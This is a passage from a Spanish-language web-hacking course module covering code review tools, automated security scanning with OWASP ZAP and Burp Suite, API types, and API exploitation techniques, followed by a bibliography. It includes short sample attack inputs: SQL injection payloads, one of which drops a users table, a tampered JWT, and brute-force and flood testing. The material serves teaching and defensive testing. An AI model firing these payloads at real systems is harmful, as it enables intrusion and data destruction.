seguridad del código de una aplicación. Este capítulo profundiza en las metodologías, las
herramientas y los enfoques prácticos para implementar estas revisiones de manera
efectiva.

Análisis manual y automatizado

1. Análisis estático de código: consiste en revisar el código fuente o los binarios de


la aplicación sin ejecutarlos, buscando vulnerabilidades como inyecciones, errores
de lógica y malas prácticas de programación.

o Análisis manual: involucra la inspección detallada del código por un analista


de seguridad, que busca patrones de vulnerabilidad y evalúa el
cumplimiento de buenas prácticas. Permite una revisión exhaustiva y
contextualizada, identificando vulnerabilidades complejas, pero es lento y
depende de la experiencia del revisor.
o Análisis automatizado: utiliza herramientas de escaneo que buscan
vulnerabilidades y errores de forma automática en el código fuente. Es
rápido y consistente, capaz de analizar grandes volúmenes de código, pero
puede producir falsos positivos y carece de contexto para evaluar
vulnerabilidades complejas.

o Herramientas comunes:

84
Curso de Ciberdefensa
Módulo 4 – Hacking Web

▪ SonarQube: herramienta de análisis estático que detecta


vulnerabilidades, malas prácticas y problemas de calidad de código.
▪ Checkmarx: escáner de seguridad que evalúa el código fuente en
busca de vulnerabilidades según los estándares OWASP.

2. Análisis dinámico de código: este enfoque examina el comportamiento de la


aplicación durante su ejecución, permitiendo detectar vulnerabilidades en tiempo
real y en el contexto del entorno de ejecución.

o Análisis manual: incluye pruebas interactivas de la aplicación, como la


validación de flujos de datos y comportamientos de seguridad a través de
casos de prueba específicos. Proporciona una visión detallada del
comportamiento de la aplicación en condiciones reales, pero requiere
experiencia y un entorno controlado para simular casos de ataque.
o Análisis automatizado: emplea herramientas que simulan ataques y
evaluaciones de seguridad mientras la aplicación se ejecuta. Permite
pruebas de carga y estrés, simulando múltiples escenarios de ataque, pero
puede ser complejo configurar y requiere acceso al entorno de ejecución.
o Herramientas comunes:

▪ OWASP ZAP (Zed Attack Proxy): herramienta de análisis dinámico


que permite realizar pruebas de penetración automatizadas y
detectar vulnerabilidades en aplicaciones web.
▪ Burp Suite: utilizada para pruebas de seguridad manuales y
automatizadas, incluyendo escaneos de vulnerabilidades en tiempo
real.

85
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Múltiples módulos BurpSuite. Fuente: Certcube.

Herramientas de análisis de código

1. Herramientas de análisis estático:

o SonarQube: identifica errores de seguridad, problemas de calidad y


cumplimiento de estándares. Permite configurar reglas específicas según el
lenguaje y proporciona informes detallados.
o Bandit (para Python): evalúa el código Python en busca de errores de
seguridad, como inyecciones de SQL, vulnerabilidades de criptografía y
problemas de autenticación.
o Fortify Static Code Analyzer: ofrece un análisis exhaustivo de seguridad y
calidad de código en múltiples lenguajes, ayudando a identificar y mitigar
riesgos antes de desplegar la aplicación.

2. Herramientas de análisis dinámico:

86
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o OWASP ZAP: escáner de seguridad automatizado con soporte para


pruebas interactivas, simulaciones de ataques y personalización de casos
de prueba.
o Burp Suite Pro: incluye funciones avanzadas de escaneo y pruebas, como
el análisis de vulnerabilidades, la manipulación de solicitudes y la creación
de scripts personalizados para evaluaciones específicas.
o AppScan: permite realizar análisis de seguridad dinámico, integrándose en
flujos de trabajo de desarrollo para automatizar las pruebas durante el ciclo
de vida de la aplicación.

Metodologías de implementación del análisis de código

• Integración continua y análisis de código:

o Configurar herramientas de análisis estático en entornos de integración


continua (CI/CD) para revisar el código de manera automática en cada
commit, detectando vulnerabilidades antes de que lleguen a producción.
o Ejemplo de integración: configurar SonarQube en Jenkins para ejecutar un
análisis con cada push al repositorio, generando un reporte automático para
el equipo de desarrollo.
o Pruebas de penetración dinámicas: realizar pruebas de penetración
dinámicas durante el desarrollo y en entornos de staging. Los analistas de
seguridad pueden simular ataques y explorar vulnerabilidades que solo son
visibles en tiempo de ejecución. Por ejemplo, utilizar Burp Suite para
simular ataques de inyección y evaluar la respuesta de la aplicación en
entornos controlados antes de su despliegue.

87
Curso de Ciberdefensa
Módulo 4 – Hacking Web

4.24. Pruebas automatizadas

En este apartado, se analizarán las pruebas automatizadas de seguridad, una práctica


fundamental en el desarrollo seguro de software. Las pruebas automatizadas permiten
la detección temprana de vulnerabilidades en aplicaciones y API, ejecutando casos de
prueba de manera continua y simulando posibles ataques. Estas pruebas pueden
integrarse en el flujo de desarrollo para garantizar que cada cambio en el código sea
evaluado automáticamente, lo cual es clave para mantener un entorno seguro y reducir
el riesgo de errores en la etapa de producción. Este capítulo se centra en las herramientas
y los enfoques más efectivos para implementar pruebas automatizadas en aplicaciones
web, así como en las metodologías recomendadas para una integración eficiente.

Pruebas automatizadas. Fuente: Techmagic.

Implementación de pruebas automatizadas de seguridad

1. Escaneo automatizado de vulnerabilidades: identifica vulnerabilidades comunes,


como inyección SQL, XSS y CSRF, de manera rápida y repetitiva. Integrar estos
escaneos en el ciclo de desarrollo asegura que las vulnerabilidades se detecten y
remedien antes del despliegue.

88
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Herramientas recomendadas:
▪ OWASP ZAP: facilita escaneos programados y personalizados que
se pueden integrar en pipelines de CI/CD.
▪ Nessus: realiza análisis de vulnerabilidades de seguridad avanzados,
proporcionando reportes detallados sobre los resultados.
o Ejemplo de uso:
[Link] -t [Link] -r [Link]

Este comando utiliza el script de línea de comandos de ZAP para escanear


automáticamente la URL de la aplicación y generar un reporte HTML.

2. Pruebas automatizadas de API: las API requieren pruebas de seguridad


exhaustivas para verificar su manejo de la autenticación, autorización y validación
de datos. Herramientas como Postman permiten crear y automatizar pruebas de
API, simulando ataques y evaluando respuestas.

o Configuración de pruebas en Postman: crear una colección de pruebas con


peticiones maliciosas para analizar cómo la API maneja la validación y si
responde con mensajes de error adecuados.
o Herramientas para Pruebas de API:
▪ Postman: soporte para scripting y automatización de pruebas de
API.
▪ Burp Suite Pro: ofrece análisis profundo y manipulación de
peticiones API, verificando la seguridad en diferentes escenarios.

3. Análisis continuo con CI/CD: integrar herramientas de pruebas automatizadas en


pipelines de CI/CD permite ejecutar análisis de seguridad con cada despliegue,
detectando vulnerabilidades a medida que el código evoluciona. Un ejemplo de
integración en Jenkins sería configurar un job en Jenkins que ejecute OWASP ZAP
tras cada build, con un reporte automatizado que indique vulnerabilidades críticas
y detenga el despliegue si se encuentran problemas graves.

89
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Herramientas de pruebas automatizadas

1. Burp Suite Pro: ofrece un conjunto de herramientas de escaneo automatizado que


permite realizar pruebas de vulnerabilidad exhaustivas, incluyendo
funcionalidades avanzadas para personalizar escaneos y generar reportes
detallados sobre las vulnerabilidades encontradas.
2. OWASP ZAP: ideal para la automatización en el desarrollo seguro. ZAP permite
escaneos continuos y se integra fácilmente en pipelines de CI/CD, asegurando que
cada cambio en el código pase por un análisis exhaustivo de seguridad.
3. Snyk: se centra en la identificación y remediación de vulnerabilidades en
dependencias de código abierto, escaneando el código en cada build para evitar
vulnerabilidades derivadas de librerías externas.

Metodologías de pruebas automatizadas

1. Integración continua (CI) y entornos de prueba: las herramientas de pruebas


automatizadas pueden integrarse en CI, lo cual permite ejecutar pruebas con cada
commit o despliegue. Esto garantiza la detección temprana de problemas y la
implementación de soluciones rápidas.
2. Pruebas de reversión: ejecutar pruebas automatizadas de manera continua
permite identificar si una actualización introdujo una regresión de seguridad, lo
que asegura que nuevas vulnerabilidades no se filtren a producción.

Ejemplos prácticos de pruebas automatizadas

1. Escaneo de seguridad automático en una aplicación web: por ejemplo, configurar


OWASP ZAP para realizar un escaneo programado en cada despliegue, generando
un reporte que alerte al equipo de desarrollo y seguridad sobre vulnerabilidades
críticas.
2. Automatización de pruebas de API con Postman y Jenkins: por ejemplo, crear una
colección de pruebas en Postman y programar su ejecución en Jenkins,

90
Curso de Ciberdefensa
Módulo 4 – Hacking Web

verificando que las API manejen adecuadamente errores de autenticación y


validación de entrada.
3. Escaneo de dependencias con Snyk en un Proyecto [Link]: por ejemplo, integrar
Snyk en el proyecto para escanear dependencias y verificar que las bibliotecas
utilizadas estén libres de vulnerabilidades, enviando alertas en tiempo real al
equipo de desarrollo.

Herramientas y recursos para pruebas automatizadas

• Herramientas de escaneo:

o OWASP ZAP y Burp Suite: proveen escaneos automatizados para detectar


vulnerabilidades en aplicaciones web y API.
o Nessus: ofrece un análisis exhaustivo de redes y aplicaciones, detectando
vulnerabilidades y generando reportes detallados.

4.25. Uso de herramientas como Burp Suite y OWASP ZAP y


automatización de pruebas de vulnerabilidad

En este apartado, se exploran dos de las herramientas más utilizadas para la evaluación
de seguridad en aplicaciones web: Burp Suite y OWASP ZAP. Ambas son esenciales para
realizar pruebas de vulnerabilidad de forma manual y automatizada, permitiendo a los
profesionales de seguridad detectar y remediar vulnerabilidades como XSS, SQLi y CSRF
antes de que puedan ser explotadas. Este capítulo cubre las características de cada
herramienta y cómo aprovechar sus capacidades de automatización para realizar
pruebas de manera continua, integrándolas en pipelines de CI/CD y otros entornos de
desarrollo.

Características y capacidades de Burp Suite

91
Curso de Ciberdefensa
Módulo 4 – Hacking Web

1. Interfaz de usuario para pruebas interactivas: Burp Suite ofrece una interfaz
amigable que permite realizar pruebas de seguridad interactivas en aplicaciones
web, facilitando la interceptación y la modificación de solicitudes HTTP y HTTPS.

o Funciones principales:

▪ Repeater: permite modificar y repetir solicitudes manualmente para


probar diferentes payloads.
▪ Intruder: automáticamente envía múltiples solicitudes modificadas
para detectar vulnerabilidades como inyecciones SQL y de
comandos.
▪ Scanner: disponible en la versión Pro, permite escanear
automáticamente la aplicación en busca de vulnerabilidades.

o Ejemplo de uso del intruder:

▪ Configurar intruder para realizar un ataque de fuerza bruta en un


campo de login, identificando nombres de usuario o contraseñas
válidas.

92
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Pruebas automatizadas. Fuente: StationX.

2. Automatización de escaneos en Burp Suite Pro: la versión Pro de Burp Suite


permite programar escaneos automatizados que identifican vulnerabilidades sin
intervención manual. Estos escaneos pueden configurarse para ejecutarse con
regularidad o como parte de un pipeline de CI/CD.

o Configuración de escaneo automático: definir el objetivo del escaneo y


establecer criterios para identificar vulnerabilidades críticas y de bajo
riesgo y exportar los resultados en formato HTML o XML para análisis
posterior.
o Integración con CI/CD: usar la API de Burp Suite Pro para ejecutar
escaneos en pipelines de CI/CD, como Jenkins o GitLab, asegurando que
los cambios en el código no introduzcan nuevas vulnerabilidades.

93
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Características y capacidades de OWASP ZAP

1. Escaneos automáticos y manuales de vulnerabilidades: OWASP ZAP proporciona


herramientas para realizar escaneos automáticos de vulnerabilidades, así como un
proxy de interceptación para pruebas manuales. Es ideal para escanear
aplicaciones en desarrollo y detectar vulnerabilidades comunes.

o Funciones principales:
▪ Active scan: permite escanear activamente una aplicación y realizar
pruebas automatizadas de vulnerabilidad.
▪ Passive scan: escanea las solicitudes y respuestas HTTP que pasan a
través de ZAP sin modificar el tráfico, detectando problemas sin
afectar la aplicación.
▪ Spider: rastrea las páginas de la aplicación para descubrir contenido
oculto o no indexado.

o Ejemplo de uso del escaneo activo:

▪ Configurar un escaneo activo para evaluar la aplicación en busca de


vulnerabilidades como XSS, CSRF y encabezados de seguridad mal
configurados.

2. Automatización de pruebas con OWASP ZAP: ZAP permite la ejecución


automatizada de escaneos mediante scripts o integraciones en entornos de
CI/CD. Esto facilita la identificación de vulnerabilidades de forma continua en
cada fase del desarrollo.

o Configuración de escaneo automatizado con scripts: usar el script zap-


[Link] para realizar escaneos rápidos y generar un reporte HTML, y
configurar [Link] para pruebas exhaustivas, ideal para entornos
de preproducción.

94
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Integración en CI/CD con ZAP: utilizar Docker para desplegar ZAP en un


contenedor y configurarlo para escanear la aplicación automáticamente en
cada despliegue, y generar reportes y configurarlos para que envíen alertas
cuando se detecten vulnerabilidades críticas.

Automatización de pruebas de vulnerabilidad

1. Escaneos programados: programar escaneos automáticos con Burp Suite y


OWASP ZAP en intervalos regulares ayuda a mantener una evaluación constante
de la seguridad de la aplicación. Los escaneos programados permiten detectar
vulnerabilidades a lo largo del tiempo y antes de que se introduzcan en
producción. Un ejemplo de configuración de escaneo programado con ZAP:

[Link] -t [Link] -r [Link] -o [Link]

2. Integración en pipelines de CI/CD: integrar Burp Suite Pro y OWASP ZAP en


pipelines de CI/CD asegura que cada cambio en el código pase por una evaluación
de seguridad automatizada, reduciendo el riesgo de que se desplieguen
vulnerabilidades. Un ejemplo de configuración en Jenkins: usar un contenedor
Docker con ZAP para realizar un escaneo completo de la aplicación después de
cada build; configurar notificaciones para que el equipo de desarrollo reciba
alertas cuando se detecten vulnerabilidades críticas o altas.
3. Automatización de reportes y alertas: configurar las herramientas para que
generen reportes automáticos y los envíen por correo electrónico o los integren
con herramientas de notificación como Slack. Esto asegura que el equipo de
seguridad y desarrollo esté informado de manera inmediata sobre posibles
vulnerabilidades. Un ejemplo de exportación de reportes en Burp Suite: exportar
el reporte en formato HTML o XML para un análisis detallado y almacenar los
resultados en una base de datos para monitoreo continuo.

Herramientas de soporte y recursos para automatización de pruebas de vulnerabilidad

95
Curso de Ciberdefensa
Módulo 4 – Hacking Web

1. Docker: usar Docker para desplegar ZAP en contenedores facilita la integración


en entornos de CI/CD, permitiendo un despliegue rápido y consistente de las
pruebas.
2. API de Burp Suite Pro y ZAP: ambas herramientas ofrecen API que permiten
personalizar y automatizar los escaneos, así como acceder a los resultados en
tiempo real.
3. GitHub Actions: integrar escaneos de ZAP en GitHub Actions permite ejecutar
pruebas de seguridad como parte de los workflows de GitHub, ideal para proyectos
que utilizan esta plataforma.

Ejemplos prácticos y casos de estudio

1. Caso de escaneo automático de OWASP ZAP en una aplicación de comercio


electrónico: ZAP se integra en un pipeline de CI/CD para escanear
automáticamente cada versión de la aplicación antes de su despliegue en
producción. El equipo de seguridad recibe un reporte con vulnerabilidades críticas,
evitando la introducción de un fallo de inyección SQL.
2. Automatización de escaneos de Burp Suite Pro en un entorno corporativo: la
empresa programa escaneos regulares con Burp Suite Pro en aplicaciones
internas, generando reportes automatizados que se envían al equipo de desarrollo
cada semana.
3. Pruebas de seguridad automatizadas con ZAP y Jenkins en un proyecto de API:
el proyecto integra ZAP en Jenkins para escanear su API RESTful tras cada commit,
garantizando que las pruebas de seguridad se realicen sin necesidad de
intervención manual y que cualquier problema de autenticación o autorización se
detecte antes del despliegue.

Herramientas y recursos para automatización de pruebas de vulnerabilidad

• Herramientas de escaneo automatizado:

96
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Burp Suite Pro: proporciona escaneos de seguridad avanzados y


automatización mediante su API, ideal para entornos de pruebas
controlados.
o OWASP ZAP: escáner gratuito y de código abierto, con soporte para
scripts y uso en contenedores Docker.

4.26. Introducción a las API, tipos de API (REST, SOAP) y vulnerabilidades


comunes en API

En este apartado, se analizará la arquitectura de las API y sus diferentes tipos, con un
enfoque particular en REST y SOAP, los modelos más utilizados en la actualidad. Las API
permiten la comunicación entre diferentes sistemas, exponiendo funcionalidad y datos.
Sin embargo, debido a su naturaleza y uso extensivo, las API pueden ser objetivos
atractivos para atacantes. Este capítulo cubre los fundamentos de las API, las diferencias
entre REST y SOAP y las vulnerabilidades comunes que se pueden encontrar en estos
servicios.

Pruebas automatizadas. Fuente: Plata News.

97
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Tipos de API (REST, SOAP)

1. REST (Representational State Transfer): es un estilo arquitectónico que permite


la interacción entre sistemas usando el protocolo HTTP. Se basa en operaciones
estándar como GET, POST, PUT y DELETE, y en el uso de recursos identificados
mediante URL.

o Características clave:

▪ Usa formatos ligeros como JSON o XML.


▪ No mantiene estado, lo que significa que cada solicitud es
independiente y no guarda contexto de solicitudes previas.
▪ Es fácil de escalar y ampliamente adoptado por ser ligero y flexible.

o Ejemplo de solicitud REST:

GET /api/v1/users HTTP/1.1

Host: [Link]

2. SOAP (Simple Object Access Protocol): es un protocolo basado en XML que


facilita la comunicación entre aplicaciones, particularmente en entornos
empresariales donde se requiere mayor seguridad y control de transacciones.

o Características clave:

▪ Estrictamente basado en XML y utiliza un protocolo propio para


definir la estructura de los mensajes.
▪ Puede funcionar sobre varios protocolos de red, no solo HTTP
(también soporta SMTP, entre otros).
▪ Ofrece una mayor integración de seguridad y manejo de errores.

o Ejemplo de solicitud SOAP:

POST /services/user HTTP/1.1

98
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Host: [Link]
Content-Type: text/xml
<soapenv:Envelope
xmlns:soapenv="[Link]
xmlns:web="[Link]
<soapenv:Header/>
<soapenv:Body>
<web:GetUser>
<web:UserID>123</web:UserID>
</web:GetUser>
</soapenv:Body>
</soapenv:Envelope>

Vulnerabilidades comunes en API

1. Inyección SQL: de forma similar a las vulnerabilidades en aplicaciones web, las API
son susceptibles a ataques de inyección si no validan adecuadamente las entradas
del usuario.

o Ejemplo:

GET /api/v1/users?id=' OR '1'='1

2. Exposición de datos sensibles: las API a menudo manejan datos sensibles que, si
no están adecuadamente protegidos, pueden filtrarse a través de respuestas
HTTP, encabezados o registros. Por ejemplo, responder con datos personales sin
aplicar cifrado ni enmascarado.
3. Falta de autenticación y autorización adecuada: si las API no requieren
autenticación o no verifican correctamente los privilegios del usuario, los
atacantes pueden acceder a datos o realizar acciones no autorizadas. Por ejemplo,
permitir el acceso a endpoints administrativos sin verificar el rol del usuario.
4. Rate Limiting insuficiente: la falta de limitación de solicitudes permite a los
atacantes realizar ataques de fuerza bruta o de denegación de servicio. Por
ejemplo, permitir un número ilimitado de solicitudes de autenticación en un corto
periodo de tiempo.

99
Curso de Ciberdefensa
Módulo 4 – Hacking Web

4.26.1. Pruebas de seguridad en API, técnicas de explotación y


herramientas para pruebas de API

Este apartado cubre las técnicas de seguridad para la evaluación de API, abordando
métodos de explotación y herramientas utilizadas en pruebas de seguridad. Las API son
un componente clave de las aplicaciones modernas, pero si no se aseguran
adecuadamente, pueden exponer una amplia gama de vulnerabilidades. Este capítulo
proporciona un enfoque detallado sobre las técnicas de explotación de API y cómo usar
herramientas especializadas para evaluar su seguridad y mitigar riesgos.

Técnicas de explotación

1. Ataques de inyección: las API pueden ser vulnerables a inyecciones de SQL,


comandos o script si no se validan las entradas de los usuarios. Probar estos
ataques implica enviar datos manipulados para observar cómo los procesa la API.
Un ejemplo de inyección SQL:

POST /api/v1/search
{
"query": "'; DROP TABLE users;--"
}

2. Explotación de fallos de autorización: la técnica consiste en intentar acceder a


endpoints restringidos o realizar operaciones no autorizadas para verificar que la
API implementa controles de autorización efectivos. Por ejemplo, un usuario no
autenticado intenta acceder a un endpoint que debería estar restringido:

GET /api/v1/admin/reports

3. Bypass de autenticación: se prueban técnicas para eludir la autenticación


mediante manipulación de tokens, reutilización de tokens de sesión expirados o
mediante la eliminación de parámetros de autenticación. Por ejemplo, manipular
un token JWT para acceder a información sin la autorización correcta.

{
"token": "eyJhbGciOi...invalidsignature"

100
Curso de Ciberdefensa
Módulo 4 – Hacking Web

4. Pruebas de Rate Limiting y denegación de servicio: se realizan pruebas para


determinar si la API puede ser explotada mediante el envío masivo de solicitudes,
observando si implementa limitación de tasas y mecanismos de mitigación contra
ataques de denegación de servicio. Un ejemplo de prueba de carga: usar una
herramienta como JMeter para enviar miles de solicitudes por segundo.

Herramientas para pruebas de API

1. Postman: herramienta que permite probar y automatizar solicitudes de API, crear


colecciones de pruebas y simular peticiones maliciosas para observar el
comportamiento de la API. Un ejemplo de uso: crear una colección de pruebas
para autenticar, realizar solicitudes y verificar respuestas con diferentes datos de
entrada.
2. Burp Suite: proporciona funcionalidades avanzadas para pruebas de API, como la
interceptación de tráfico, modificación de solicitudes y análisis de
vulnerabilidades. Un ejemplo de uso: usar el repeater para modificar parámetros
en las solicitudes y probar diferentes tipos de inyecciones.
3. OWASP ZAP: ZAP incluye características para el análisis de seguridad en API,
como escaneo activo, pruebas de inyección y detección de encabezados de
seguridad. Un ejemplo de uso: configurar ZAP para rastrear todos los endpoints de
la API y ejecutar escaneos automáticos de seguridad.
4. Insomnia: similar a Postman, Insomnia permite crear y ejecutar peticiones HTTP
para probar API, incluyendo la manipulación de encabezados, la autenticación y la
personalización de pruebas. Un ejemplo de uso: usar Insomnia para enviar
solicitudes con encabezados manipulados y evaluar cómo responde la API a las
pruebas de bypass.

101
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Metodologías de pruebas de seguridad en API

1. Revisión de autenticación y autorización: evaluar si la API verifica


adecuadamente la autenticación y las autorizaciones en cada endpoint. Esto
incluye probar la reutilización de tokens y la verificación del acceso a datos
restringidos.
2. Validación de entrada y salida: verificar que todas las entradas y salidas de la API
se validen correctamente, y que no se devuelvan datos sensibles en las respuestas.
3. Configuración de Rate Limiting: evaluar si la API limita el número de solicitudes
permitidas por usuario o IP en un periodo específico, para prevenir ataques de
fuerza bruta y denegación de servicio.

Ejemplos prácticos y casos de estudio:

1. Prueba de inyección SQL en una API RESTful: un analista prueba una API de
búsqueda mediante la inyección de un payload SQL y descubre que la API no
filtra los caracteres especiales, revelando datos sensibles de la base de datos.
2. Bypass de autenticación en un servicio de API para administración: al
manipular un token JWT, un tester accede a la sección administrativa de la API
sin autorización. Esto se soluciona implementando una validación más estricta
de los tokens.
3. Evaluación de exposición de datos en una API: una API devuelve datos sin
aplicar ningún tipo de cifrado. Al interceptar la respuesta, un atacante podría
obtener información personal de los usuarios, lo que se resuelve encriptando
las respuestas.

Herramientas y recursos para pruebas de seguridad en API

• Postman y Burp Suite: para pruebas exhaustivas de autenticación, autorización y


validación de entrada.
• OWASP ZAP: para escaneos automáticos y detección de vulnerabilidades en
todos los endpoints de la API.

102
Curso de Ciberdefensa
Módulo 4 – Hacking Web

4.27. Recapitulación / resumen

A continuación, se recogen las principales conclusiones del módulo:

Este curso ha proporcionado una visión exhaustiva sobre las técnicas y los conceptos
más relevantes en el ámbito de la seguridad web, desde los fundamentos de la
arquitectura de aplicaciones hasta los métodos avanzados de explotación y mitigación de
vulnerabilidades. Los temas abordados incluyen tanto los principios básicos de los
ataques más comunes, como la inyección SQL (SQLi) y el Cross-Site Scripting (XSS), como
las técnicas de defensa y protección aplicables para minimizar riesgos en entornos de
producción.

Uno de los aspectos clave tratados en el curso es la importancia de comprender cómo


funcionan las aplicaciones web en términos de arquitectura y comunicación, ya que esto
permite identificar los puntos débiles que los atacantes explotan. Los modelos cliente-
servidor, el protocolo HTTP/HTTPS y la gestión de sesiones fueron analizados en detalle
para ayudar a los estudiantes a desarrollar una base sólida desde la cual abordar la
seguridad.

A lo largo del curso, se han cumplido los objetivos de aprendizaje establecidos. Los
alumnos han aprendido a identificar vulnerabilidades en aplicaciones web, aplicar
técnicas de explotación utilizando herramientas avanzadas como Burp Suite y OWASP
ZAP y han desarrollado habilidades para mitigar y prevenir ataques. Estos conocimientos
no son solo teóricos, sino que se han aplicado de manera práctica a través de ejemplos y
ejercicios que simulan escenarios reales de ataque.

Los conocimientos adquiridos en este curso tienen una amplia aplicabilidad en el campo
profesional. Los especialistas en ciberseguridad, ya sea en roles ofensivos (pentesters) o
defensivos (administradores de seguridad), encontrarán en las técnicas aprendidas una
herramienta fundamental para proteger las infraestructuras web de sus organizaciones.
Además, los desarrolladores de software también se beneficiarán de estas habilidades,

103
Curso de Ciberdefensa
Módulo 4 – Hacking Web

ya que les permitirán integrar medidas de seguridad desde las primeras etapas del ciclo
de desarrollo, reduciendo significativamente las oportunidades de ataque.

Este curso no solo dota a los participantes de las habilidades necesarias para realizar
pruebas de penetración efectivas, sino que también los capacita para evaluar y mejorar
la seguridad de las aplicaciones que utilizan tanto pequeñas como grandes
organizaciones. Los conocimientos adquiridos son transferibles a múltiples sectores,
como el financiero, gubernamental, tecnológico y de telecomunicaciones, donde la
protección de las aplicaciones web es crítica para mantener la confianza de los usuarios
y la integridad de los sistemas.

En resumen, los estudiantes han adquirido las herramientas técnicas y el conocimiento


necesario para enfrentar los desafíos actuales de seguridad web, utilizando un enfoque
integral que abarca tanto la identificación de vulnerabilidades como su mitigación. Estas
competencias son esenciales para anticiparse a las amenazas y garantizar la seguridad de
las aplicaciones web en entornos cada vez más complejos.

104
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Fuentes utilizadas (manuales, artículos, libros, webs, etc.)

Para la elaboración de los apuntes, se han utilizado las siguientes fuentes:

• Adeva, R. (2024). Cómo pasar de HTTP a HTTPS en una web con el certificado SSL.
Adslzone. Enlace aquí.
• Aggarwal, S. (2023). BurpSuite Intruder for Pentesters (PART-4). Certcube. Enlace
aquí.
• Bandit Developers. (s.f.). Bandit. Enlace aquí.
• Blancarte, O. (s.f.). Arquitectura cliente-servidor. Reactiveprogramming. Enlace
aquí.
• Brown, H. (2021). Know Your API Types – REST vs SOAP vs GraphQL. Cyclr. Enlace
aquí.
• Cantelli, F. (s.f.). ¿Qué es una Cross Site Request Forgery (CSRF) y cómo se soluciona?
Hackmetrix. Enlace aquí.
• Castro, C. (2021). ¿Qué es una API? Plata News. Enlace aquí.
• Cheat sheet series. (n.f.). REST Security Cheat Sheet. Enlace aquí.
• Checkmarx Ltd. (s.f.). Checkmarx. Enlace aquí.
• Ciernes, P. (2022). Herramientas de auditoría de SQL Injection. SQLmap. ICM. Enlace
aquí.
• Crónicas Seguridad. (s.f.). Enlace aquí.
• Dezso, R. (2024). How to Use Burp Suite: Discover & Master Powerful Features.
Station X. Enlace aquí.
• Diaz, J. (2019). ¿Qué es BACKEND y FRONTEND? (guía completa). EdTeam. Enlace
aquí.
• Erickson, J. (2008). Hacking: The Art of Exploitation, 2nd Edition. No Starch Press.
Enlace aquí.
• Flask Security. (s.f.). Flask-Security. Enlace aquí.
• Gen Digital Inc. (s.f.). Avast. Enlace aquí.
• HackTricks. (s.f.). Enlace aquí.
• JWT. (s.f.). Enlace aquí.

105
Curso de Ciberdefensa
Módulo 4 – Hacking Web

• Moyle, E. (2022). How to use the Hydra password-cracking tool. Techtarget. Enlace
aquí.
• National Institute of Standards and Technology – NIST. (2017). NIST Special
Publication 800-63B. Enlace aquí.
• Nmap. (31 de octubre de 2024). In Wikipedia. Enlace aquí.
• Offsec. (s.f.). Exploit database. Enlace aquí.
• OpenText Corporation. (s.f.). OpenText Fortify Analizador estático de código.
OpenText. Enlace aquí.
• OWASP. (s.f.). OWASP API Security Project. Enlace aquí.
• OWASP. (s.f.). OWASP Automated Threats to Web Applications. Enlace aquí.
• OWASP. (s.f.). OWASP Top Ten. Enlace aquí.
• OWASP. (s.f.). OWASP Web Security Testing Guide. Enlace aquí.
• Plaziteam. (2023). ¿Qué son las aplicaciones web? Características y ejemplos.
Enlace aquí.
• Porthos. (s.f.). Enlace aquí.
• PortSwigger. (2023). Burp Suite documentation. Enlace aquí.
• PortSwigger. (s.f.). SQL Injection. Enlace aquí.
• Postman, Inc. (s.f.). Postman. Enlace aquí.
• Python. (s.f.). Secrets — Generate secure random numbers for managing secrets.
Enlace aquí.
• Sharpe, R., Warnicke, E., & Lamping, U. (s.f.). Wireshark User’s Guide Version 4.5.0.
Wireshark. Enlace aquí.
• Snyk Limited. (s.f.). Snyk. Enlace aquí.
• SonarSource. (s.f.). SonarQube. Enlace aquí.
• Whois. (s.f.). Enlace aquí.
• Younan, Y. (s.f.). Stack-based buffer overflow using indirect pointer overwriting.
Researchgate. Enlace aquí.
• ZAP by Checkmarx. (s.f.). OWASP ZAP User Guide. Enlace aquí.

106
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Recursos complementarios (libros, webs, vídeos, películas, herramientas,


artículos, reportajes, etc.)

El alumno que quiera ampliar, profundizar o aumentar sus conocimientos en relación con
lo explicado en el presente módulo puede hacerlo a través de las siguientes fuentes o
recursos:

• Cheat sheet series. (n.f.). Cross Site Scripting Prevention Cheat Sheet. Enlace aquí.
• Cheat sheet series. (n.f.). REST Security Cheat Sheet. Enlace aquí.
• Cheat sheet series. (n.f.). SQL Injection Prevention Cheat Sheet. Enlace aquí.
• Cheat sheet series. (s.f.). Authentication Cheat Sheet. Enlace aquí.
• Cheat sheet series. (s.f.). Session Management Cheat Sheet. Enlace aquí.
• Cloudflare. (s.f.). HTTPS Explained. Enlace aquí.
• OWASP. (s.f.). OWASP API Security Project. Enlace aquí.
• OWASP. (s.f.). OWASP Top Ten. Enlace aquí.
• OWASP. (s.f.). OWASP Web Security Testing Guide. Enlace aquí.
• PortSwigger. (2023). Burp Suite documentation. Enlace aquí.
• Postman Inc. (s.f.). API authentication and authorization in Postman. Enlace aquí.
• SQLmap. (s.f.). Automatic SQL injection and database takeover tool. Enlace aquí.

107

También podría gustarte